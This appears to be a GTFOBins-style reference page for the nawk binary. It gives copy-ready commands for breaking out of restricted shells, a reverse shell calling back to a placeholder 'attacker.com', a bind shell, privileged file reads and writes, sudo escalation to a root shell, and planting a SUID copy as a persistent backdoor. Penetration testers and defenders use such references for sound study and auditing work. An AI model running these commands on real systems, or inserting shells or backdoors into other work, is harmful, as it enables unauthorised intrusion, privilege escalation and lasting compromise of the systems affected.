.. / nawk
Star

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
nawk 'BEGIN {system("/bin/sh")}'
```

Non-interactive reverse shell

It can send back a non-interactive reverse shell to a listening attacker to open a remote network access.

Run nc -l -p 12345 on the attacker box to receive the shell.

RHOST=attacker.com
RPORT=12345
nawk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
    s = "/inet/tcp/0/" RHOST "/" RPORT;
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

Non-interactive bind shell

It can bind a non-interactive shell to a local port to allow remote network access.

Run nc target.com 12345 on the attacker box to connect to the shell.

LPORT=12345
nawk -v LPORT=$LPORT 'BEGIN {
    s = "/inet/tcp/" LPORT "/0/0";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

LFILE=file_to_write
nawk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }'

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

```
LFILE=file_to_read
nawk '//' "$LFILE"
```

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

```
sudo nawk 'BEGIN {system("/bin/sh")}'
```

Limited SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands it only works on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To exploit an existing SUID binary skip the first command and run the program using its original path.

sudo sh -c 'cp $(which nawk) .; chmod +s ./nawk'

./nawk 'BEGIN {system("/bin/sh")}'

.. / nawk Star